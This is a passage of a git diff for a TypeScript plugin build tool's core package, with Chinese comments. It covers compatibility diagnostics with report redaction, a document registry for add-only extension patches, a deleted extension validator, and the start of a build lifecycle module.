+192,75 @@ export function sortDiagnostics(diagnostics: readonly Diagnostic[]): Diagnostic[ } /** - * 清理兼容性条目中的自由文本,并按平台与能力稳定排序。 + * 清理兼容性条目中的自由文本,并按 Platform、Subject、能力与等级稳定排序。 * - * @param entries Compiler 或 Module 产生的兼容性说明。 + * @param entries Platform 或 Adapter 产生的兼容性说明。 + * @param options 路径和环境值脱敏选项。 * @returns 可安全写入报告的排序副本。 */ -export function sortCompatibility(entries: readonly CompatibilityEntry[]): CompatibilityEntry[] { +export function sortCompatibility( + entries: readonly CompatibilityEntry[], + options: ReportRedactionOptions = {}, +): CompatibilityEntry[] { return entries.map(entry => ({ ...entry, - subject: sanitizeReportText(entry.subject), - capability: sanitizeReportText(entry.capability), - reason: sanitizeReportText(entry.reason), - ...(entry.transformation === undefined ? {} : { transformation: sanitizeReportText(entry.transformation) }), - ...(entry.causes === undefined ? {} : { causes: entry.causes.map(sanitizeReportText) }), + subject: sanitizeReportText(entry.subject, options), + capability: sanitizeReportText(entry.capability, options), + reason: sanitizeReportText(entry.reason, options), + ...(entry.transformation === undefined ? {} : { transformation: sanitizeReportText(entry.transformation, options) }), + ...(entry.causes === undefined ? {} : { causes: entry.causes.map(cause => sanitizeReportText(cause, options)) }), })).sort((a, b) => - compareStrings(a.target, b.target) + compareStrings(a.platform, b.platform) || compareStrings(a.subject, b.subject) || compareStrings(a.capability, b.capability) - || compareStrings(a.level, b.level)); + || COMPATIBILITY_RANK[a.level] - COMPATIBILITY_RANK[b.level] + || compareStrings(a.reason, b.reason)); } /** - * 汇总一次构建生命周期内的诊断,并在写入时统一建立脱敏边界。 + * 按 Platform、字段和处理结果稳定排序元数据去向。 + * + * @param entries Platform 产生的元数据字段去向。 + * @param options 路径和环境值脱敏选项。 + * @returns 完成文本清理的稳定排序副本。 */ +export function sortMetadataDispositions( + entries: readonly MetadataDispositionEntry[], + options: ReportRedactionOptions = {}, +): MetadataDispositionEntry[] { + return entries.map(entry => ({ + ...entry, + field: sanitizeReportText(entry.field, options), + reason: sanitizeReportText(entry.reason, options), + ...(entry.output === undefined ? {} : { output: sanitizeReportText(entry.output, options) }), + })).sort((a, b) => + compareStrings(a.platform, b.platform) + || compareStrings(a.field, b.field) + || compareStrings(a.disposition, b.disposition)); +} + +/** 汇总一次构建生命周期内的诊断,并在写入时统一建立脱敏边界。 */ export class DiagnosticCollector implements DiagnosticCollectorLike { /** 按产生顺序保存的安全诊断,读取时再执行确定性排序。 */ readonly #items: Diagnostic[] = []; + /** 当前运行需要从程序化 BuildResult 中隐藏的路径与环境值。 */ + readonly #redaction: ReportRedactionOptions; /** - * 返回按确定规则排序的诊断快照。 + * 创建诊断 Collector,并固定当前运行的报告脱敏边界。 * - * @returns 不暴露内部可变数组的只读列表。 + * @param redaction 工程路径和环境快照。 */ + constructor(redaction: ReportRedactionOptions = {}) { + this.#redaction = redaction; + } + + /** @returns 不暴露内部可变数组的确定性诊断快照。 */ get diagnostics(): readonly Diagnostic[] { return sortDiagnostics(this.#items); } - /** - * 指示当前构建是否已经产生至少一条错误级诊断。 - * - * @returns 存在错误时返回 true。 - */ + /** @returns 存在至少一个结构、安全或兼容性错误时返回 true。 */ get hasErrors(): boolean { return this.#items.some(item => item.severity === 'error'); } @@ -130,7 +271,7 @@ export class DiagnosticCollector implements DiagnosticCollectorLike { * @param diagnostic 调用方构造的原始诊断。 */ add(diagnostic: Diagnostic): void { - this.#items.push(safeDiagnostic(diagnostic)); + this.#items.push(safeDiagnostic(diagnostic, this.#redaction)); } /** @@ -164,37 +305,207 @@ export class DiagnosticCollector implements DiagnosticCollectorLike { } } +/** 汇总、排序并传播 Platform 功能兼容性结论。 */ +export class CompatibilityCollector { + /** 尚未应用依赖传播的原始与派生兼容性条目。 */ + readonly #items: CompatibilityEntry[] = []; + + /** @returns 完成文本清理和确定性排序的兼容性快照。 */ + get entries(): readonly CompatibilityEntry[] { + return sortCompatibility(this.#items); + } + + /** @returns 尚未执行依赖传播的当前条目数量,可作为阶段 checkpoint。 */ + get size(): number { + return this.#items.length; + } + + /** + * 加入一条 Platform 功能兼容性结论。 + * + * @param entry Platform 或 Extension Adapter 产生的结论。 + */ + add(entry: CompatibilityEntry): void { + this.#items.push(entry); + } + + /** + * 批量加入兼容性结论。 + * + * @param entries 保持业务含义、不要求已排序的条目。 + */ + addAll(entries: readonly CompatibilityEntry[]): void { + this.#items.push(...entries); + } + + /** + * 把依赖 Subject 的最差兼容性递归传播到使用方,并保留完整 cause chain。 + * + * @param dependencies 已完成 Core 图校验的 Subject 依赖边。 + */ + propagateDependencies(dependencies: readonly CompatibilityDependency[]): void { + /** Subject 到其直接依赖列表的稳定索引。 */ + const dependencyMap = new Map(dependencies.map(item => [item.subject, [...item.dependsOn].sort(compareStrings)])); + /** 当前 Collector 中实际出现的 Platform 集合。 */ + const platforms = [...new Set(this.#items.map(item => item.platform))].sort(compareStrings); + for (const platform of platforms) { + /** 当前 Platform 下每个 Subject 已经报告的原始条目。 */ + const bySubject = new Map(); + for (const entry of this.#items.filter(item => item.platform === platform)) { + /** 当前 Subject 已有条目或首次创建的可写列表。 */ + const items = bySubject.get(entry.subject) ?? []; + items.push(entry); + bySubject.set(entry.subject, items); + } + /** 避免依赖闭包重复计算的最差结论缓存。 */ + const memo = new Map(); + + /** + * 计算一个 Subject 把全部依赖计入后的最差兼容性。 + * + * @param subject 当前求值的 Subject。 + * @param stack 防御性循环检测使用的递归路径。 + * @returns 原始或依赖传播产生的最差条目。 + */ + const worstFor = (subject: string, stack: ReadonlySet): CompatibilityEntry | undefined => { + if (memo.has(subject)) + return memo.get(subject); + /** 当前 Subject 自身最差的原始条目。 */ + let worst = [...(bySubject.get(subject) ?? [])] + .sort((a, b) => COMPATIBILITY_RANK[b.level] - COMPATIBILITY_RANK[a.level] || compareStrings(a.capability, b.capability))[0]; + if (stack.has(subject)) + return worst; + /** 递归调用使用且不会修改父级路径的集合副本。 */ + const nextStack = new Set(stack).add(subject); + for (const dependency of dependencyMap.get(subject) ?? []) { + /** 直接依赖计入其自身依赖闭包后的最差结果。 */ + const cause = worstFor(dependency, nextStack); + if (!cause || (worst && COMPATIBILITY_RANK[cause.level] <= COMPATIBILITY_RANK[worst.level])) + continue; + worst = { + platform, + subject, + capability: `dependency:${dependency}`, + level: cause.level, + reason: `${subject} depends on ${dependency}, whose compatibility is ${cause.level}.`, + causes: [dependency, ...(cause.causes ?? [])], + }; + } + memo.set(subject, worst); + return worst; + }; + + for (const subject of [...dependencyMap.keys()].sort(compareStrings)) { + /** 传播前该 Subject 自身已有的最差等级。 */ + const original = [...(bySubject.get(subject) ?? [])] + .sort((a, b) => COMPATIBILITY_RANK[b.level] - COMPATIBILITY_RANK[a.level])[0]; + /** 传播完整依赖闭包后得到的最差条目。 */ + const propagated = worstFor(subject, new Set()); + if (propagated && propagated.capability.startsWith('dependency:') + && (!original || COMPATIBILITY_RANK[propagated.level] > COMPATIBILITY_RANK[original.level])) + this.#items.push(propagated); + } + } + } + + /** + * 仅把 degraded/unsupported 按当前 Platform strictness 转换为诊断。 + * + * @param collector 构建共享的诊断收集器。 + * @param platform 当前 Platform ID 与严格模式。 + * @param start 仅处理此条目下标之后结论的阶段 checkpoint。 + */ + applyStrictness( + collector: DiagnosticCollectorLike, + platform: { readonly id: string; readonly strict: boolean }, + start = 0, + ): void { + /** 当前阶段 checkpoint 之后属于指定 Platform 的兼容性结论。 */ + const entries = sortCompatibility(this.#items.slice(start)).filter(entry => entry.platform === platform.id); + applyCompatibilityStrictness(collector, platform, entries); + } +} + +/** 汇总 Platform 元数据去向,并把 omitted 固定报告为字段级 warning。 */ +export class MetadataDispositionCollector { + /** 以 Platform 和字段为键保存的唯一元数据去向。 */ + readonly #items = new Map(); + + /** 构建共享的诊断出口,用于 omitted warning 和冲突 error。 */ + readonly #diagnostics: DiagnosticCollectorLike; + + /** + * 创建元数据去向 Collector。 + * + * @param diagnostics 构建共享的诊断 Collector。 + */ + constructor(diagnostics: DiagnosticCollectorLike) { + this.#diagnostics = diagnostics; + } + + /** @returns 按 Platform 和字段确定性排序的元数据去向。 */ + get entries(): readonly MetadataDispositionEntry[] { + return sortMetadataDispositions([...this.#items.values()]); + } + + /** + * 加入一个字段去向;重复且冲突的结论属于 Platform 结构错误。 + * + * @param entry Platform 对统一元数据字段的最终处理。 + */ + add(entry: MetadataDispositionEntry): void { + /** 同一 Platform 下字段去向的唯一键。 */ + const key = `${entry.platform}\0${entry.field}`; + /** 之前已经登记的字段去向。 */ + const existing = this.#items.get(key); + if (existing) { + if (existing.disposition !== entry.disposition || existing.output !== entry.output || existing.reason !== entry.reason) { + this.#diagnostics.error('METADATA_DISPOSITION_CONFLICT', `Metadata field ${entry.field} has conflicting dispositions.`, { + phase: 'metadata', platform: entry.platform, fieldPath: [entry.field], + }); + } + return; + } + this.#items.set(key, entry); + if (entry.disposition === 'omitted') { + this.#diagnostics.warning('METADATA_OMITTED', `Metadata field ${entry.field} is omitted: ${entry.reason}`, { + phase: 'metadata', platform: entry.platform, fieldPath: [entry.field], + }); + } + } +} + /** - * 根据目标的 strict 配置,把降级或不支持能力转换为错误或警告。 - * - * 完全支持以及仅包含信息的条目不会阻塞构建;严格模式则会阻止任何能力损失。 + * 根据 Platform strict 配置,把功能降级或不支持转换为错误或警告。 * * @param collector 当前构建共享的诊断收集器。 - * @param target 正在评估的目标平台配置。 + * @param platform 正在评估的平台 ID 与严格度。 * @param entries 需要应用严格度策略的兼容性条目。 */ export function applyCompatibilityStrictness( collector: DiagnosticCollectorLike, - target: ResolvedTarget, + platform: { readonly id: string; readonly strict: boolean }, entries: readonly CompatibilityEntry[], ): void { for (const entry of entries) { if (entry.level !== 'degraded' && entry.level !== 'unsupported') continue; - /** 供终端和报告共同展示的兼容性摘要。 */ const message = `${entry.subject}: ${entry.reason}`; - /** 保留目标与阶段信息的诊断上下文。 */ + /** 保留 Platform 与阶段信息的诊断上下文。 */ const options: Partial> = { phase: 'compatibility', - target: target.id, + platform: entry.platform, + ...(entry.transformation === undefined ? {} : { hint: entry.transformation }), }; - if (entry.transformation !== undefined) - options.hint = entry.transformation; - - if (target.strict) + if (platform.strict) collector.error('COMPATIBILITY_STRICT', message, options); else collector.warning('COMPATIBILITY_RELAXED', message, options); } } + +/** 将已校验的内部字符串收窄为报告使用的 PlatformId。 */ +export function internalPlatformId(value: string): PlatformId { + return value as PlatformId; +} diff --git a/packages/core/src/documents.ts b/packages/core/src/documents.ts new file mode 100644 index 0000000..384569a --- /dev/null +++ b/packages/core/src/documents.ts @@ -0,0 +1,347 @@ +import { ArtifactRegistry, type ArtifactSourcePolicies } from './artifacts.js'; +import { OutputPathRegistry } from './output-paths.js'; +import type { + DocumentAddPatch, + DraftDocument, + JsonObject, + JsonValue, + PlatformDraftInput, + PlatformId, +} from './contracts.js'; +import type { Artifact, ArtifactInput } from './types.js'; + +/** Document 逻辑 ID 使用的小写 kebab-case 规则。 */ +const DOCUMENT_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** Document Registry 内部保存的当前文档和可写扩展点。 */ +interface DocumentRecord { + readonly id: string; + readonly path: string; + readonly format: DraftDocument['format']; + readonly owner: `platform:${string}`; + readonly emission: NonNullable; + value: JsonValue; + readonly extensionPoints: ReadonlySet; + readonly extensionPointPaths: readonly (readonly string[])[]; + readonly fieldOwners: Map; +} + +/** + * 递归复制并冻结 Platform 或 Extension 提供的 JSON 值。 + * + * @param value 尚未进入 Core 所有权边界的候选值。 + * @param ancestors 当前递归链,用于拒绝循环对象。 + * @returns 与输入语义相同的不可变 JSON 快照。 + */ +function cloneJson(value: JsonValue, ancestors: WeakSet = new WeakSet()): JsonValue { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return value; + if (typeof value === 'number') { + if (!Number.isFinite(value)) + throw new Error('Document values only support finite JSON numbers.'); + return value; + } + if (ancestors.has(value)) + throw new Error('Document values cannot contain circular references.'); + ancestors.add(value); + if (Array.isArray(value)) { + /** 数组顺序属于 Platform 文档语义。 */ + const result = Object.freeze(value.map(item => cloneJson(item, ancestors))); + ancestors.delete(value); + return result; + } + /** 按稳定键顺序复制的普通 JSON 对象。 */ + const object = value as JsonObject; + /** 接收按键排序字段的不可变普通对象。 */ + const result: Record = {}; + for (const key of Object.keys(object).sort((left, right) => left.localeCompare(right, 'en'))) { + /** 当前字段的递归不可变快照。 */ + const child = cloneJson(object[key]!, ancestors); + Object.defineProperty(result, key, { value: child, enumerable: true, configurable: false, writable: false }); + } + ancestors.delete(value); + return Object.freeze(result); +} + +/** + * 将字段路径转换为不会受字段内容歧义影响的内部键。 + * + * @param fieldPath Document 字段路径。 + * @returns JSON 字符串形式的稳定路径键。 + */ +function fieldKey(fieldPath: readonly string[]): string { + return JSON.stringify(fieldPath); +} + +/** + * 查找字段路径的父对象并确认最终字段尚不存在。 + * + * @param value 当前 Document 根值。 + * @param fieldPath 需要新增的字段路径。 + * @returns 父对象存在且最终字段为空位时返回 true。 + */ +function isEmptyField(value: JsonValue, fieldPath: readonly string[]): boolean { + /** 从根值逐层进入字段父对象的游标。 */ + let current: JsonValue = value; + for (const segment of fieldPath.slice(0, -1)) { + if (current === null || typeof current !== 'object' || Array.isArray(current) || !Object.hasOwn(current, segment)) + return false; + current = (current as JsonObject)[segment]!; + } + if (current === null || typeof current !== 'object' || Array.isArray(current)) + return false; + return !Object.hasOwn(current, fieldPath.at(-1)!); +} + +/** + * 在不可变 JSON 对象中新增一个此前不存在的字段。 + * + * @param value 当前 Document 根值。 + * @param fieldPath 已验证为空位的字段路径。 + * @param addition Extension 提供的不可变新增值。 + * @returns 完成路径复制后的新 Document 根值。 + */ +function addField(value: JsonValue, fieldPath: readonly string[], addition: JsonValue): JsonValue { + /** 当前层必然是字段路径父链上的 JSON 对象。 */ + const object = value as JsonObject; + /** 当前层需要进入或新增的字段名。 */ + const [head, ...tail] = fieldPath; + /** 保持原字段并按键排序输出的新对象字段集合。 */ + const entries: [string, JsonValue][] = Object.entries(object).map(([key, child]) => [ + key, + key === head && tail.length > 0 ? addField(child, tail, addition) : child, + ]); + if (tail.length === 0) + entries.push([head!, addition]); + /** 接收排序字段并逐项定义为只读属性的新 JSON 对象。 */ + const result: Record = {}; + for (const [key, child] of entries.sort(([left], [right]) => left.localeCompare(right, 'en'))) + Object.defineProperty(result, key, { value: child, enumerable: true, configurable: false, writable: false }); + return Object.freeze(result); +} + +/** 管理单个 Platform Draft 的逻辑 Document、扩展点和字段所有权。 */ +export class DocumentRegistry { + /** 当前 Platform 的固定 Document owner。 */ + readonly #platformOwner: `platform:${string}`; + /** 按逻辑 ID 索引的可控内部 Document 记录。 */ + readonly #documents = new Map(); + /** 与 Artifact Registry 共享的物理输出路径占用表。 */ + readonly #paths: OutputPathRegistry; + + /** + * 接管 Platform prepare 阶段提供的初始 Document。 + * + * @param platform 当前 Draft 所属的 Platform ID。 + * @param documents Platform 创建的初始文档列表。 + * @param paths 与 Artifact 共享的路径占用表。 + */ + constructor(platform: PlatformId, documents: readonly DraftDocument[], paths: OutputPathRegistry = new OutputPathRegistry()) { + this.#platformOwner = `platform:${platform}`; + this.#paths = paths; + for (const document of documents) + this.#addInitial(document); + } + + /** + * 校验并加入一个 Platform 初始 Document。 + * + * @param document 尚未进入 Registry 的文档。 + */ + #addInitial(document: DraftDocument): void { + if (!DOCUMENT_ID_PATTERN.test(document.id)) + throw new Error(`Document id "${document.id}" must use lowercase kebab-case.`); + if (this.#documents.has(document.id)) + throw new Error(`Duplicate Document id "${document.id}".`); + if (document.owner !== this.#platformOwner) + throw new Error(`Document "${document.id}" must be owned by "${this.#platformOwner}".`); + if (!['json', 'yaml', 'toml', 'frontmatter'].includes(document.format)) + throw new Error(`Document "${document.id}" has unsupported format.`); + if (document.emission !== undefined && document.emission !== 'required' && document.emission !== 'omit-if-empty') + throw new Error(`Document "${document.id}" has unsupported emission policy.`); + /** 在普通 Artifact 加入前预留文档最终物理路径。 */ + const reservation = this.#paths.reserve(this.#platformOwner, 'document', document.path); + /** Platform 初始值的 Core 所有不可变副本。 */ + const value = cloneJson(document.value); + /** 去重后的精确 add-only 扩展点路径键。 */ + const extensionPoints = new Set(); + /** 供最终 snapshot 保留语义路径的冻结副本。 */ + const extensionPointPaths: (readonly string[])[] = []; + for (const fieldPath of document.extensionPoints) { + if (fieldPath.length === 0 || fieldPath.some(segment => typeof segment !== 'string' || segment === '')) + throw new Error(`Document "${document.id}" has an invalid extension point.`); + /** 当前扩展点不可被 Platform 预先占值,否则会形成 replace 或 deep merge。 */ + const frozenPath = Object.freeze([...fieldPath]); + /** 当前扩展点用于去重与所有权记录的稳定路径键。 */ + const key = fieldKey(frozenPath); + if (extensionPoints.has(key)) + throw new Error(`Document "${document.id}" has a duplicate extension point.`); + if (!isEmptyField(value, frozenPath)) + throw new Error(`Document "${document.id}" extension point ${key} must identify an empty field.`); + extensionPoints.add(key); + extensionPointPaths.push(frozenPath); + } + /** 内部记录允许更新 value 引用,但从不向外暴露本对象。 */ + this.#documents.set(document.id, { + id: document.id, + path: reservation.path, + format: document.format, + owner: this.#platformOwner, + emission: document.emission ?? 'required', + value, + extensionPoints, + extensionPointPaths: Object.freeze(extensionPointPaths), + fieldOwners: new Map(), + }); + } + + /** + * 获取一个逻辑 Document 的只读当前值。 + * + * @param id Platform 定义的稳定逻辑 ID。 + * @returns 完成此前 Extension patch 的不可变值。 + */ + getDocument(id: string): Readonly | undefined { + return this.#documents.get(id)?.value as Readonly | undefined; + } + + /** + * 让 Extension 在精确声明且尚为空的扩展点新增字段。 + * + * @param owner `extension:` 形式的字段所有者。 + * @param patch Adapter 提交的逻辑 Document patch。 + */ + patchDocument(owner: `extension:${string}`, patch: DocumentAddPatch): void { + if (!owner.startsWith('extension:') || owner.length === 'extension:'.length) + throw new Error('Document patch owner must identify an Extension.'); + /** Patch 指向的逻辑 Document。 */ + const document = this.#documents.get(patch.document); + if (!document) + throw new Error(`Unknown Document id "${patch.document}".`); + /** Patch 路径的冻结副本和稳定所有权键。 */ + const patchPath = Object.freeze([...patch.path]); + /** Patch 精确字段路径对应的所有权索引键。 */ + const key = fieldKey(patchPath); + if (!document.extensionPoints.has(key)) + throw new Error(`Document "${patch.document}" does not declare extension point ${key}.`); + /** 已占用同一扩展点的 Extension owner。 */ + const existingOwner = document.fieldOwners.get(key); + if (existingOwner) + throw new Error(`Document field ${key} is already owned by "${existingOwner}".`); + if (!isEmptyField(document.value, patchPath)) + throw new Error(`Document field ${key} cannot be replaced or merged.`); + /** Extension 值进入文档前由 Core 复制并冻结。 */ + const addition = cloneJson(patch.value); + document.value = addField(document.value, patchPath, addition); + document.fieldOwners.set(key, owner); + } + + /** @returns 按逻辑 ID 排序且完全不可变的 Document 快照。 */ + snapshot(): readonly DraftDocument[] { + return Object.freeze([...this.#documents.values()] + .sort((left, right) => left.id.localeCompare(right.id, 'en')) + .map(document => Object.freeze({ + id: document.id, + path: document.path, + format: document.format, + owner: document.owner, + emission: document.emission, + value: document.value, + extensionPoints: document.extensionPointPaths, + }))); + } +} + +/** 同时管理一个 Platform 的结构化 Document 与普通 Draft Artifact。 */ +export class PlatformDraftRegistry { + /** 当前 Draft 的 Platform owner。 */ + readonly #platformOwner: `platform:${string}`; + /** 结构化 Document Registry。 */ + readonly #documents: DocumentRegistry; + /** 与 Document 共享路径表的 Artifact Registry。 */ + readonly #artifacts: ArtifactRegistry; + + /** + * 创建空 Registry;调用方应使用异步 create 完成初始 Artifact 接管。 + * + * @param platform 当前 Platform ID。 + * @param documents 初始 Document。 + * @param sourcePolicies 按 Platform、Extension 与 Public owner 隔离的文件来源授权。 + * @param paths Document 与 Artifact 共享的路径表。 + */ + private constructor( + platform: PlatformId, + documents: readonly DraftDocument[], + sourcePolicies: ArtifactSourcePolicies, + paths: OutputPathRegistry, + ) { + this.#platformOwner = `platform:${platform}`; + this.#documents = new DocumentRegistry(platform, documents, paths); + this.#artifacts = new ArtifactRegistry(sourcePolicies, paths); + } + + /** + * 接管 Platform prepare 返回的完整初始 Draft。 + * + * @param platform 当前 Platform ID。 + * @param input Platform Draft 输入。 + * @param sourcePolicies 文件型 Artifact 按 owner 隔离的来源授权。 + * @returns 完成 Document 与 Artifact 校验的 Registry。 + */ + static async create( + platform: PlatformId, + input: PlatformDraftInput, + sourcePolicies: ArtifactSourcePolicies, + ): Promise { + /** 当前 Draft 内所有物理文件共享的路径占用表。 */ + const paths = new OutputPathRegistry(); + /** 初始文档已经占用路径的 Registry。 */ + const registry = new PlatformDraftRegistry(platform, input.documents, sourcePolicies, paths); + for (const artifact of input.artifacts) + await registry.#artifacts.add(registry.#platformOwner, artifact); + return registry; + } + + /** 按逻辑 ID 读取完成此前 Adapter patch 的不可变 Document 值。 */ + getDocument(id: string): Readonly | undefined { + return this.#documents.getDocument(id); + } + + /** 让指定 Extension owner 在精确声明的空扩展点新增字段。 */ + patchDocument(owner: `extension:${string}`, patch: DocumentAddPatch): void { + this.#documents.patchDocument(owner, patch); + } + + /** + * 加入 Extension Adapter 产生的普通 Artifact。 + * + * @param owner `extension:` 形式的 Artifact owner。 + * @param input Adapter 提交的 Artifact。 + * @returns 完成 hash 与路径校验的 Artifact。 + */ + async emitArtifact(owner: `extension:${string}`, input: ArtifactInput): Promise { + if (!owner.startsWith('extension:') || owner.length === 'extension:'.length) + throw new Error('Adapter Artifact owner must identify an Extension.'); + return this.#artifacts.add(owner, input); + } + + /** + * 注入由 Core Scanner 验证的 Public 文件。 + * + * @param input Public 文件对应的 file-source Artifact。 + * @returns owner 固定为 public 的已验证 Artifact。 + */ + async injectPublicArtifact(input: ArtifactInput): Promise { + return this.#artifacts.add('public', input); + } + + /** @returns 完成所有 add-only patch 后的只读文档快照。 */ + get documents(): readonly DraftDocument[] { + return this.#documents.snapshot(); + } + + /** @returns Platform 与 Extension 共同产生的只读 Artifact 快照。 */ + get artifacts(): readonly Artifact[] { + return this.#artifacts.artifacts; + } +} diff --git a/packages/core/src/extensions.ts b/packages/core/src/extensions.ts deleted file mode 100644 index e54a69b..0000000 --- a/packages/core/src/extensions.ts +++ /dev/null @@ -1,69 +0,0 @@ -/** 描述扩展数据中一项不符合可序列化或语义隔离约束的问题。 */ -export interface ExtensionIssue { - /** 从扩展根值到问题字段的字符串键或数组下标路径。 */ - path: readonly (string | number)[]; - /** 面向配置作者的问题说明。 */ - message: string; -} - -/** - * Core 已拥有语义的保留字段名集合。 - * - * 扩展字段会按不区分大小写的方式检查,防止 Module 通过别名覆盖标准 Plugin 契约。 - */ -const CANONICAL_KEYS = new Set([ - 'name', 'version', 'description', 'displayname', 'body', 'prompt', 'instructions', - 'commands', 'skills', 'agents', 'hooks', 'mcp', 'mcpservers', 'manifest', -]); - -/** - * 递归验证扩展值是否为确定性 JSON 数据,并与 Core 标准字段保持语义隔离。 - * - * @param value 当前需要验证的扩展值或递归子值。 - * @param path 当前值相对于扩展根节点的位置。 - * @param seen 已访问对象集合,用于拒绝循环引用和重复对象引用。 - * @returns 当前子树中发现的全部问题,不会在首个错误处提前结束。 - */ -export function extensionIssues( - value: unknown, - path: readonly (string | number)[] = [], - seen: WeakSet = new WeakSet(), -): ExtensionIssue[] { - if (value === null || typeof value === 'string' || typeof value === 'boolean') - return []; - if (typeof value === 'number') - return Number.isFinite(value) ? [] : [{ path, message: 'Extension numbers must be finite.' }]; - if (Array.isArray(value)) { - // 扩展最终会进入稳定 JSON/YAML;引用图必须退化为没有循环或共享节点的值树。 - if (seen.has(value)) - return [{ path, message: 'Extension values cannot contain cycles.' }]; - seen.add(value); - return value.flatMap((item, index) => extensionIssues(item, [...path, index], seen)); - } - if (typeof value !== 'object') - return [{ path, message: 'Extension values must be deterministic JSON data.' }]; - if (seen.has(value)) - return [{ path, message: 'Extension values cannot contain cycles.' }]; - seen.add(value); - /** 当前映射值的原型,用于排除 Date、Map 和自定义类实例。 */ - const prototype = Object.getPrototypeOf(value); - if (prototype !== null && prototype !== Object.prototype) - return [{ path, message: 'Extension objects must be plain JSON mappings.' }]; - - /** 当前对象及所有后代累计产生的问题。 */ - const issues: ExtensionIssue[] = []; - for (const [key, child] of Object.entries(value as Record)) { - /** 当前字段对应的完整问题路径。 */ - const childPath = [...path, key]; - if (CANONICAL_KEYS.has(key.toLowerCase())) { - // Canonical 数据只能通过正式配置和 Component 契约进入,扩展不能创建第二套含义。 - issues.push({ - path: childPath, - message: `Extension field "${key}" duplicates canonical plugin semantics.`, - }); - continue; - } - issues.push(...extensionIssues(child, childPath, seen)); - } - return issues; -} diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 5ac1145..1d37b93 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -1,10 +1,14 @@ export * from './types.js'; +export * from './contracts.js'; export * from './diagnostics.js'; +export * from './reports.js'; export * from './config.js'; export * from './scanner.js'; export * from './artifacts.js'; +export * from './documents.js'; +export * from './delivery-units.js'; export * from './transaction.js'; -export * from './builder.js'; +export * from './lifecycle.js'; export * from './serialization.js'; /** Core 公共报告与配置契约的当前 Schema 版本。 */ diff --git a/packages/core/src/lifecycle.ts b/packages/core/src/lifecycle.ts new file mode 100644 index 0000000..85d2e5e --- /dev/null +++ b/packages/core/src/lifecycle.ts @@ -0,0 +1,758 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { + CompatibilityCollector, + type CompatibilityDependency, + DiagnosticCollector, + MetadataDispositionCollector, + sanitizeReportText, + type ReportRedactionOptions, +} from './diagnostics.js'; +import type { ArtifactSourcePolicies, ArtifactSourcePolicy } from './artifacts.js'; +import { DeliveryUnitRegistry } from './delivery-units.js'; +import { PlatformDraftRegistry } from './documents.js'; +import { normalizeOutputPath } from './output-paths.js'; +import { createBuildResult } from './reports.js'; +import { scanProject } from './scanner.js'; +import { + commitDeliveryUnits, + validateDeliveryUnitMaterialization, + withMaterializedDeliveryUnitCandidate, +} from './transaction.js'; +import type { + AcpluginExtension, + BuildEndContext, + BuildFailureSummary, + CompatibilityInput, + ConfigResolvedContext, + DiagnosticInput, + DeliveryUnit, + DocumentAddPatch, + ExtensionDescription, + MetadataDispositionInput, + PlatformAdapterContext, + PlatformDescription, +} from './contracts.js'; +import type { + ArtifactInput, + BuildResult, + ComponentReport, + DeliveryUnitReport, + DocumentReport, + PluginProject, + ResolvedConfig, + ResolvedPlatform, + TypeScriptModuleLoader, +} from './types.js'; + +/** 调用最终固定生命周期所需的已解析依赖。 */ +export interface LifecycleRequest { + readonly config: ResolvedConfig; + readonly loadTypeScriptModule: TypeScriptModuleLoader; + readonly environment?: Readonly>; + /** 是否在完整验证成功后提交 outDir;validate/inspect 调用方应保持 false。 */ + readonly commit?: boolean; + /** 接收 Extension 构建器实际读取的绝对文件,仅供 dev 建立依赖监听图。 */ + readonly onWatchFile?: (file: string) => void; +} + +/** 单个 Platform 在当前运行中的隔离状态。 */ +interface PlatformRuntime { + readonly resolved: ResolvedPlatform; + readonly workDir: string; + initialized: boolean; + active: boolean; +} + +/** 单个 Extension 的隔离目录与阶段状态。 */ +interface ExtensionRuntime { + readonly extension: AcpluginExtension; + readonly workDir: string; + initialized: boolean; + active: boolean; + discovered: unknown; + built: unknown; + hasResources: boolean; +} + +/** 逆序 buildEnd 队列中的对象类别与运行时引用。 */ +type InitializedRuntime + = { readonly kind: 'platform'; readonly runtime: PlatformRuntime } + | { readonly kind: 'extension'; readonly runtime: ExtensionRuntime }; + +/** + * 计算当前诊断集合中的错误数量。 + * + * @param diagnostics 构建共享诊断收集器。 + * @returns error 严重级别的条目数。 + */ +function errorCount(diagnostics: DiagnosticCollector): number { + return diagnostics.diagnostics.filter(diagnostic => diagnostic.severity === 'error').length; +} + +/** + * 创建固定附加 Platform 或 Extension 身份的诊断出口。 + * + * @param diagnostics 构建共享诊断收集器。 + * @param identity 当前生命周期对象身份。 + * @param defaultPhase 调用方未声明 phase 时使用的阶段。 + * @returns Context 可见的最小诊断提交函数。 + */ +function diagnosticReporter( + diagnostics: DiagnosticCollector, + identity: { readonly platform?: PlatformDescription['id']; readonly extension?: string }, + defaultPhase: string, +): (input: DiagnosticInput) => void { + return input => diagnostics.add({ + ...input, + phase: input.phase ?? defaultPhase, + ...(identity.platform === undefined ? {} : { platform: identity.platform }), + ...(identity.extension === undefined ? {} : { extension: identity.extension }), + }); +} + +/** + * 把任意异常收敛为不包含堆栈、路径或凭据的 buildEnd 摘要。 + * + * @param error 生命周期捕获的原始异常。 + * @param redaction 当前构建的路径和环境脱敏边界。 + * @returns 可安全提供给清理 Hook 的名称与消息。 + */ +function failureSummary(error: unknown, redaction: ReportRedactionOptions): BuildFailureSummary { + if (error instanceof Error) { + return Object.freeze({ + name: sanitizeReportText(error.name || 'Error', redaction), + message: sanitizeReportText(error.message || 'Lifecycle failed.', redaction), + }); + } + return Object.freeze({ name: 'Error', message: 'Lifecycle failed.' }); +} + +/** + * 为当前生命周期构造严格按 owner 隔离的 Artifact 文件来源授权。 + * + * @param project Scanner 已确认的规范工程和精确来源文件。 + * @param platforms 当前配置中的 Platform 独占工作目录。 + * @param extensions 当前配置中的 Extension 独占工作目录。 + * @returns Platform、Extension 与 Public 之间不可互相回退的授权表。 + */ +function artifactSourcePolicies( + project: PluginProject, + platforms: readonly PlatformRuntime[], + extensions: readonly ExtensionRuntime[], +): ArtifactSourcePolicies { + /** Platform 可以引用的已扫描 Component 主文件和 Skill 辅助文件。 */ + const componentFiles = [ + ...project.commands.map(component => component.sourcePath), + ...project.skills.flatMap(component => [component.sourcePath, ...component.auxiliaryFiles.map(file => file.sourcePath)]), + ...project.agents.map(component => component.sourcePath), + ].map(sourcePath => Object.freeze({ + 